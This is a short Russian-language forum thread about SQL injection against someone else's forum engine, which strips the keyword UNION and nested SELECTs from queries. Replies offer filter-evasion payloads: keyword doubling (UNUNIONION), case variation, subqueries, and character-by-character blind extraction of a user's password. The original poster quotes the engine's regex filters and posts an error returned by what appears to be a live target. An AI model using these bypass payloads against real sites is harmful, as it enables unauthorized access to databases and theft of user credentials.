![]() |
sql injection without union
смотрел я на днях движок одного форума, там из запросов вырезается слово Union =(
что-нибудь можно придумать ? |
Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2 |
а можно ошарашить движок подзапросами
например такого вида: seclet pass from users where id=-1+and(select+pass) или путем посиволного перебора пароля seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<10 0) |
ну перебор - это не то чего бы хотелось :)
вложенные запросы тоже режутся вот так вот это происходит: preg_match('~(^|[^a-z])union($|[^[a-z])~s',$sql) preg_match('~\([^)]*?select~s',$sql) естественно запрос идёт не к таблице с юзерами =( |
Цитата:
|
попробуй разный регистр ;)
|
Цитата:
|
а если использовать and(mysql.pass='123')
|
Unknown column 'mysql.user.pass' in 'where clause'
даже еслиб работало , толку немного от этого :( |
Unknown column 'mysql.user.pass' in 'where clause'
толк есть, значит подзапросы работают, а я тебе код дал для примера, а подставлять нада свои значения |
| Время: 03:35 |